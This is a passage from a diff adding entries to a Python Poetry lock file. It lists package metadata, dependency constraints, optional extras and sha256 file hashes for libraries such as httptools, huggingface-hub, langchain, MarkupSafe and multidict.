"sha256:26326e0a8fe56829f3af483200d914a7cd16d8d398d14e36888b56de30bec81a"}, + {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:e41ccac9e77cd045f3e4ee0fc62cbf3d54d7d4b375431eb855561f26ee7a9ec4"}, + {file = "httptools-0.6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4e748fc0d5c4a629988ef50ac1aef99dfb5e8996583a73a717fc2cac4ab89932"}, + {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:cf8169e839a0d740f3d3c9c4fa630ac1a5aaf81641a34575ca6773ed7ce041a1"}, + {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5dcc14c090ab57b35908d4a4585ec5c0715439df07be2913405991dbb37e049d"}, + {file = "httptools-0.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d0b0571806a5168013b8c3d180d9f9d6997365a4212cb18ea20df18b938aa0b"}, + {file = "httptools-0.6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fb4a608c631f7dcbdf986f40af7a030521a10ba6bc3d36b28c1dc9e9035a3c0"}, + {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:93f89975465133619aea8b1952bc6fa0e6bad22a447c6d982fc338fbb4c89649"}, + {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:73e9d66a5a28b2d5d9fbd9e197a31edd02be310186db423b28e6052472dc8201"}, + {file = "httptools-0.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:22c01fcd53648162730a71c42842f73b50f989daae36534c818b3f5050b54589"}, + {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3f96d2a351b5625a9fd9133c95744e8ca06f7a4f8f0b8231e4bbaae2c485046a"}, + {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:72ec7c70bd9f95ef1083d14a755f321d181f046ca685b6358676737a5fecd26a"}, + {file = "httptools-0.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b703d15dbe082cc23266bf5d9448e764c7cb3fcfe7cb358d79d3fd8248673ef9"}, + {file = "httptools-0.6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82c723ed5982f8ead00f8e7605c53e55ffe47c47465d878305ebe0082b6a1755"}, + {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b0a816bb425c116a160fbc6f34cece097fd22ece15059d68932af686520966bd"}, + {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:dea66d94e5a3f68c5e9d86e0894653b87d952e624845e0b0e3ad1c733c6cc75d"}, + {file = "httptools-0.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:23b09537086a5a611fad5696fc8963d67c7e7f98cb329d38ee114d588b0b74cd"}, + {file = "httptools-0.6.0.tar.gz", hash = "sha256:9fc6e409ad38cbd68b177cd5158fc4042c796b82ca88d99ec78f07bed6c6b796"}, +] + +[package.extras] +test = ["Cython (>=0.29.24,<0.30.0)"] + +[[package]] +name = "huggingface-hub" +version = "0.16.4" +description = "Client library to download and publish models, datasets and other repos on the huggingface.co hub" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "huggingface_hub-0.16.4-py3-none-any.whl", hash = "sha256:0d3df29932f334fead024afc7cb4cc5149d955238b8b5e42dcf9740d6995a349"}, + {file = "huggingface_hub-0.16.4.tar.gz", hash = "sha256:608c7d4f3d368b326d1747f91523dbd1f692871e8e2e7a4750314a2dd8b63e14"}, +] + +[package.dependencies] +filelock = "*" +fsspec = "*" +packaging = ">=20.9" +pyyaml = ">=5.1" +requests = "*" +tqdm = ">=4.42.1" +typing-extensions = ">=3.7.4.3" + +[package.extras] +all = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "black (>=23.1,<24.0)", "gradio", "jedi", "mypy (==0.982)", "numpy", "pydantic", "pytest", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-vcr", "pytest-xdist", "ruff (>=0.0.241)", "soundfile", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "urllib3 (<2.0)"] +cli = ["InquirerPy (==0.3.4)"] +dev = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "black (>=23.1,<24.0)", "gradio", "jedi", "mypy (==0.982)", "numpy", "pydantic", "pytest", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-vcr", "pytest-xdist", "ruff (>=0.0.241)", "soundfile", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3", "urllib3 (<2.0)"] +fastai = ["fastai (>=2.4)", "fastcore (>=1.3.27)", "toml"] +inference = ["aiohttp", "pydantic"] +quality = ["black (>=23.1,<24.0)", "mypy (==0.982)", "ruff (>=0.0.241)"] +tensorflow = ["graphviz", "pydot", "tensorflow"] +testing = ["InquirerPy (==0.3.4)", "Jinja2", "Pillow", "aiohttp", "gradio", "jedi", "numpy", "pydantic", "pytest", "pytest-asyncio", "pytest-cov", "pytest-env", "pytest-vcr", "pytest-xdist", "soundfile", "urllib3 (<2.0)"] +torch = ["torch"] +typing = ["pydantic", "types-PyYAML", "types-requests", "types-simplejson", "types-toml", "types-tqdm", "types-urllib3"] + +[[package]] +name = "idna" +version = "3.4" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.5" +files = [ + {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"}, + {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, +] + +[[package]] +name = "iniconfig" +version = "2.0.0" +description = "brain-dead simple config-ini parsing" +optional = false +python-versions = ">=3.7" +files = [ + {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, + {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, +] + +[[package]] +name = "jinja2" +version = "3.1.2" +description = "A very fast and expressive template engine." +optional = false +python-versions = ">=3.7" +files = [ + {file = "Jinja2-3.1.2-py3-none-any.whl", hash = "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"}, + {file = "Jinja2-3.1.2.tar.gz", hash = "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852"}, +] + +[package.dependencies] +MarkupSafe = ">=2.0" + +[package.extras] +i18n = ["Babel (>=2.7)"] + +[[package]] +name = "jmespath" +version = "1.0.1" +description = "JSON Matching Expressions" +optional = false +python-versions = ">=3.7" +files = [ + {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"}, + {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"}, +] + +[[package]] +name = "joblib" +version = "1.3.1" +description = "Lightweight pipelining with Python functions" +optional = false +python-versions = ">=3.7" +files = [ + {file = "joblib-1.3.1-py3-none-any.whl", hash = "sha256:89cf0529520e01b3de7ac7b74a8102c90d16d54c64b5dd98cafcd14307fdf915"}, + {file = "joblib-1.3.1.tar.gz", hash = "sha256:1f937906df65329ba98013dc9692fe22a4c5e4a648112de500508b18a21b41e3"}, +] + +[[package]] +name = "langchain" +version = "0.0.163" +description = "Building applications with LLMs through composability" +optional = false +python-versions = ">=3.8.1,<4.0" +files = [ + {file = "langchain-0.0.163-py3-none-any.whl", hash = "sha256:b52220f3566e0942dc2384fb07f6df54641f232645272dad0b3cf9e8dd6fb3ed"}, + {file = "langchain-0.0.163.tar.gz", hash = "sha256:c1b1c7c2d649feac9910f34d6302d340d4758b7ef990be327ff01323a31b0cde"}, +] + +[package.dependencies] +aiohttp = ">=3.8.3,<4.0.0" +dataclasses-json = ">=0.5.7,<0.6.0" +numexpr = ">=2.8.4,<3.0.0" +numpy = ">=1,<2" +openapi-schema-pydantic = ">=1.2,<2.0" +pydantic = ">=1,<2" +PyYAML = ">=5.4.1" +requests = ">=2,<3" +SQLAlchemy = ">=1.4,<3" +tenacity = ">=8.1.0,<9.0.0" +tqdm = ">=4.48.0" + +[package.extras] +all = ["O365 (>=2.0.26,<3.0.0)", "aleph-alpha-client (>=2.15.0,<3.0.0)", "anthropic (>=0.2.6,<0.3.0)", "arxiv (>=1.4,<2.0)", "atlassian-python-api (>=3.36.0,<4.0.0)", "azure-cosmos (>=4.4.0b1,<5.0.0)", "azure-identity (>=1.12.0,<2.0.0)", "beautifulsoup4 (>=4,<5)", "clickhouse-connect (>=0.5.14,<0.6.0)", "cohere (>=3,<4)", "deeplake (>=3.3.0,<4.0.0)", "duckduckgo-search (>=2.8.6,<3.0.0)", "elasticsearch (>=8,<9)", "faiss-cpu (>=1,<2)", "google-api-python-client (==2.70.0)", "google-search-results (>=2,<3)", "gptcache (>=0.1.7)", "html2text (>=2020.1.16,<2021.0.0)", "huggingface_hub (>=0,<1)", "jina (>=3.14,<4.0)", "jinja2 (>=3,<4)", "jq (>=1.4.1,<2.0.0)", "lancedb (>=0.1,<0.2)", "lark (>=1.1.5,<2.0.0)", "manifest-ml (>=0.0.1,<0.0.2)", "networkx (>=2.6.3,<3.0.0)", "nlpcloud (>=1,<2)", "nltk (>=3,<4)", "nomic (>=1.0.43,<2.0.0)", "openai (>=0,<1)", "opensearch-py (>=2.0.0,<3.0.0)", "pexpect (>=4.8.0,<5.0.0)", "pgvector (>=0.1.6,<0.2.0)", "pinecone-client (>=2,<3)", "pinecone-text (>=0.4.2,<0.5.0)", "psycopg2-binary (>=2.9.5,<3.0.0)", "pyowm (>=3.3.0,<4.0.0)", "pypdf (>=3.4.0,<4.0.0)", "pytesseract (>=0.3.10,<0.4.0)", "pyvespa (>=0.33.0,<0.34.0)", "qdrant-client (>=1.1.2,<2.0.0)", "redis (>=4,<5)", "sentence-transformers (>=2,<3)", "spacy (>=3,<4)", "tensorflow-text (>=2.11.0,<3.0.0)", "tiktoken (>=0.3.2,<0.4.0)", "torch (>=1,<3)", "transformers (>=4,<5)", "weaviate-client (>=3,<4)", "wikipedia (>=1,<2)", "wolframalpha (==5.0.0)"] +azure = ["azure-core (>=1.26.4,<2.0.0)", "azure-cosmos (>=4.4.0b1,<5.0.0)", "azure-identity (>=1.12.0,<2.0.0)", "openai (>=0,<1)"] +cohere = ["cohere (>=3,<4)"] +embeddings = ["sentence-transformers (>=2,<3)"] +llms = ["anthropic (>=0.2.6,<0.3.0)", "cohere (>=3,<4)", "huggingface_hub (>=0,<1)", "manifest-ml (>=0.0.1,<0.0.2)", "nlpcloud (>=1,<2)", "openai (>=0,<1)", "torch (>=1,<3)", "transformers (>=4,<5)"] +openai = ["openai (>=0,<1)"] +qdrant = ["qdrant-client (>=1.1.2,<2.0.0)"] + +[[package]] +name = "markdown-it-py" +version = "3.0.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +optional = false +python-versions = ">=3.8" +files = [ + {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, + {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +code-style = ["pre-commit (>=3.0,<4.0)"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins"] +profiling = ["gprof2dot"] +rtd = ["jupyter_sphinx", "mdit-py-plugins", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] + +[[package]] +name = "markupsafe" +version = "2.1.3" +description = "Safely add untrusted strings to HTML/XML markup." +optional = false +python-versions = ">=3.7" +files = [ + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd0f502fe016460680cd20aaa5a76d241d6f35a1c3350c474bac1273803893fa"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e09031c87a1e51556fdcb46e5bd4f59dfb743061cf93c4d6831bf894f125eb57"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e78619a61ecf91e76aa3e6e8e33fc4894a2bebe93410754bd28fce0a8a4f9f"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65c1a9bcdadc6c28eecee2c119465aebff8f7a584dd719facdd9e825ec61ab52"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:525808b8019e36eb524b8c68acdd63a37e75714eac50e988180b169d64480a00"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:962f82a3086483f5e5f64dbad880d31038b698494799b097bc59c2edf392fce6"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:aa7bd130efab1c280bed0f45501b7c8795f9fdbeb02e965371bbef3523627779"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c9c804664ebe8f83a211cace637506669e7890fec1b4195b505c214e50dd4eb7"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win32.whl", hash = "sha256:10bbfe99883db80bdbaff2dcf681dfc6533a614f700da1287707e8a5d78a8431"}, + {file = "MarkupSafe-2.1.3-cp310-cp310-win_amd64.whl", hash = "sha256:1577735524cdad32f9f694208aa75e422adba74f1baee7551620e43a3141f559"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ad9e82fb8f09ade1c3e1b996a6337afac2b8b9e365f926f5a61aacc71adc5b3c"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3c0fae6c3be832a0a0473ac912810b2877c8cb9d76ca48de1ed31e1c68386575"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b076b6226fb84157e3f7c971a47ff3a679d837cf338547532ab866c57930dbee"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfce63a9e7834b12b87c64d6b155fdd9b3b96191b6bd334bf37db7ff1fe457f2"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:338ae27d6b8745585f87218a3f23f1512dbf52c26c28e322dbe54bcede54ccb9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e4dd52d80b8c83fdce44e12478ad2e85c64ea965e75d66dbeafb0a3e77308fcc"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:df0be2b576a7abbf737b1575f048c23fb1d769f267ec4358296f31c2479db8f9"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5bbe06f8eeafd38e5d0a4894ffec89378b6c6a625ff57e3028921f8ff59318ac"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win32.whl", hash = "sha256:dd15ff04ffd7e05ffcb7fe79f1b98041b8ea30ae9234aed2a9168b5797c3effb"}, + {file = "MarkupSafe-2.1.3-cp311-cp311-win_amd64.whl", hash = "sha256:134da1eca9ec0ae528110ccc9e48041e0828d79f24121a1a146161103c76e686"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8e254ae696c88d98da6555f5ace2279cf7cd5b3f52be2b5cf97feafe883b58d2"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb0932dc158471523c9637e807d9bfb93e06a95cbf010f1a38b98623b929ef2b"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9402b03f1a1b4dc4c19845e5c749e3ab82d5078d16a2a4c2cd2df62d57bb0707"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca379055a47383d02a5400cb0d110cef0a776fc644cda797db0c5696cfd7e18e"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7ff0f54cb4ff66dd38bebd335a38e2c22c41a8ee45aa608efc890ac3e3931bc"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c011a4149cfbcf9f03994ec2edffcb8b1dc2d2aede7ca243746df97a5d41ce48"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win32.whl", hash = "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win_amd64.whl", hash = "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win32.whl", hash = "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl", hash = "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win32.whl", hash = "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win_amd64.whl", hash = "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba"}, + {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"}, +] + +[[package]] +name = "marshmallow" +version = "3.19.0" +description = "A lightweight library for converting complex datatypes to and from native Python datatypes." +optional = false +python-versions = ">=3.7" +files = [ + {file = "marshmallow-3.19.0-py3-none-any.whl", hash = "sha256:93f0958568da045b0021ec6aeb7ac37c81bfcccbb9a0e7ed8559885070b3a19b"}, + {file = "marshmallow-3.19.0.tar.gz", hash = "sha256:90032c0fd650ce94b6ec6dc8dfeb0e3ff50c144586462c389b81a07205bedb78"}, +] + +[package.dependencies] +packaging = ">=17.0" + +[package.extras] +dev = ["flake8 (==5.0.4)", "flake8-bugbear (==22.10.25)", "mypy (==0.990)", "pre-commit (>=2.4,<3.0)", "pytest", "pytz", "simplejson", "tox"] +docs = ["alabaster (==0.7.12)", "autodocsumm (==0.2.9)", "sphinx (==5.3.0)", "sphinx-issues (==3.0.1)", "sphinx-version-warning (==1.1.2)"] +lint = ["flake8 (==5.0.4)", "flake8-bugbear (==22.10.25)", "mypy (==0.990)", "pre-commit (>=2.4,<3.0)"] +tests = ["pytest", "pytz", "simplejson"] + +[[package]] +name = "marshmallow-enum" +version = "1.5.1" +description = "Enum field for Marshmallow" +optional = false +python-versions = "*" +files = [ + {file = "marshmallow-enum-1.5.1.tar.gz", hash = "sha256:38e697e11f45a8e64b4a1e664000897c659b60aa57bfa18d44e226a9920b6e58"}, + {file = "marshmallow_enum-1.5.1-py2.py3-none-any.whl", hash = "sha256:57161ab3dbfde4f57adeb12090f39592e992b9c86d206d02f6bd03ebec60f072"}, +] + +[package.dependencies] +marshmallow = ">=2.0.0" + +[[package]] +name = "mccabe" +version = "0.7.0" +description = "McCabe checker, plugin for flake8" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, + {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "miniopy-async" +version = "1.15" +description = "Asynchronous MinIO Python Client API" +optional = false +python-versions = ">3.6" +files = [ + {file = "miniopy-async-1.15.tar.gz", hash = "sha256:f2ee438373eb2c60bda6363ffbc28ca27f4d871089ea65a02e09896864f3d72f"}, + {file = "miniopy_async-1.15-py3-none-any.whl", hash = "sha256:9872e9168f45d9f4b828e7764163949f71d68f4f0cba2c22bc31f9856d1ed17e"}, +] + +[package.dependencies] +aiofile = "*" +aiohttp = "*" +certifi = "*" +urllib3 = "*" + +[[package]] +name = "mpmath" +version = "1.3.0" +description = "Python library for arbitrary-precision floating-point arithmetic" +optional = false +python-versions = "*" +files = [ + {file = "mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c"}, + {file = "mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a9774d00c7bc92411c19a89209d5da7c4c9a9e227be8330a23a25b91f"}, +] + +[package.extras] +develop = ["codecov", "pycodestyle", "pytest (>=4.6)", "pytest-cov", "wheel"] +docs = ["sphinx"] +gmpy = ["gmpy2 (>=2.1.0a4)"] +tests = ["pytest (>=4.6)"] + +[[package]] +name = "multidict" +version = "6.0.4" +description = "multidict implementation" +optional = false +python-versions = ">=3.7" +files = [ + {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"}, + {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"}, + {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a2e4369eb3d47d2034032a26c7a80fcb21a2cb22e1173d761a162f11e562caa5"}, + {file = "multidict-6.0.4-cp310-cp310-win32.whl", hash = "sha256:574b7eae1ab267e5f8285f0fe881f17efe4b98c39a40858247720935b893bba8"}, + {file = "multidict-6.0.4-cp310-cp310-win_amd64.whl", hash = "sha256:4dcbb0906e38440fa3e325df2359ac6cb043df8e58c965bb45f4e406ecb162cc"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0dfad7a5a1e39c53ed00d2dd0c2e36aed4650936dc18fd9a1826a5ae1cad6f03"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:64da238a09d6039e3bd39bb3aee9c21a5e34f28bfa5aa22518581f910ff94af3"}, + {file = 